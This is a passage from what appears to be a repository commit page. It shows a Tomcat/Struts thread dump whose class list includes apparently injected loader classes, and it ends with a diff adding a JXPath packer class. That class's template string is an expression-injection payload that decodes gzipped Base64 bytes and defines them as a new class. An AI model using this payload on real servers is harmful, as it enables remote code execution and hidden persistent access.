at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
|
|
||||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
|
|
||||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
|
||||||
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
|
|
||||||
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
|
|
||||||
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
|
|
||||||
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
|
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
|
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
|
|
||||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
|
|
||||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
|
|
||||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
|
|
||||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
|
|
||||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
|
|
||||||
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
|
|
||||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
|
|
||||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
|
|
||||||
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
|
|
||||||
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
|
|
||||||
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
|
|
||||||
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
|
|
||||||
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
"http-nio-8080-Acceptor" #28 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63)
|
|
||||||
at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"main" #1 [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
|
||||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
|
||||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
|
||||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
|
||||||
at org.apache.catalina.core.StandardServer.await(StandardServer.java:468)
|
|
||||||
at org.apache.catalina.startup.Catalina.await(Catalina.java:730)
|
|
||||||
at org.apache.catalina.startup.Catalina.start(Catalina.java:678)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
|
||||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
|
|
||||||
|
|
||||||
"http-nio-8080-Poller" #27 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
|
||||||
|
|
||||||
StackClassNames:
|
|
||||||
Base64ClassLoaderAction
|
|
||||||
com.fasterxml.jackson.ZsoNQ.ErrorHandler
|
|
||||||
com.opensymphony.xwork2.DefaultActionInvocation
|
|
||||||
com.opensymphony.xwork2.interceptor.AliasInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ChainingInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.MethodFilterInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ParametersInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.PrepareInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor
|
|
||||||
com.opensymphony.xwork2.interceptor.StaticParametersInterceptor
|
|
||||||
com.opensymphony.xwork2.ognl.OgnlUtil
|
|
||||||
com.opensymphony.xwork2.ognl.OgnlUtil$3
|
|
||||||
com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor
|
|
||||||
com.opensymphony.xwork2.validator.ValidationInterceptor
|
|
||||||
ognl.ASTMethod
|
|
||||||
ognl.ObjectMethodAccessor
|
|
||||||
ognl.Ognl
|
|
||||||
ognl.OgnlRuntime
|
|
||||||
ognl.SimpleNode
|
|
||||||
org.apache.catalina.authenticator.AuthenticatorBase
|
|
||||||
org.apache.catalina.connector.CoyoteAdapter
|
|
||||||
org.apache.catalina.connector.CoyoteWriter
|
|
||||||
org.apache.catalina.core.ApplicationFilterChain
|
|
||||||
org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor
|
|
||||||
org.apache.catalina.core.StandardContextValve
|
|
||||||
org.apache.catalina.core.StandardEngineValve
|
|
||||||
org.apache.catalina.core.StandardHostValve
|
|
||||||
org.apache.catalina.core.StandardServer
|
|
||||||
org.apache.catalina.core.StandardWrapperValve
|
|
||||||
org.apache.catalina.startup.Bootstrap
|
|
||||||
org.apache.catalina.startup.Catalina
|
|
||||||
org.apache.catalina.valves.AbstractAccessLogValve
|
|
||||||
org.apache.catalina.valves.ErrorReportValve
|
|
||||||
org.apache.coyote.AbstractProcessorLight
|
|
||||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
|
||||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
|
||||||
org.apache.coyote.http11.Http11Processor
|
|
||||||
org.apache.struts2.dispatcher.Dispatcher
|
|
||||||
org.apache.struts2.dispatcher.ExecuteOperations
|
|
||||||
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
|
|
||||||
org.apache.struts2.factory.StrutsActionProxy
|
|
||||||
org.apache.struts2.interceptor.CheckboxInterceptor
|
|
||||||
org.apache.struts2.interceptor.DateTextFieldInterceptor
|
|
||||||
org.apache.struts2.interceptor.FileUploadInterceptor
|
|
||||||
org.apache.struts2.interceptor.I18nInterceptor
|
|
||||||
org.apache.struts2.interceptor.MultiselectInterceptor
|
|
||||||
org.apache.struts2.interceptor.ServletConfigInterceptor
|
|
||||||
org.apache.struts2.interceptor.debugging.DebuggingInterceptor
|
|
||||||
org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor
|
|
||||||
org.apache.tomcat.util.net.Acceptor
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint$Poller
|
|
||||||
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor
|
|
||||||
org.apache.tomcat.util.net.SocketProcessorBase
|
|
||||||
org.apache.tomcat.util.threads.TaskQueue
|
|
||||||
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable
|
|
||||||
org.apache.tomcat.util.threads.ThreadPoolExecutor
|
|
||||||
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker
|
|
||||||
File diff suppressed because it is too large
Load Diff
+1153
-1100
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+602
-596
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+562
-539
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class JXPathSpringGzipJDK17Packer implements Packer {
|
public class JXPathSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
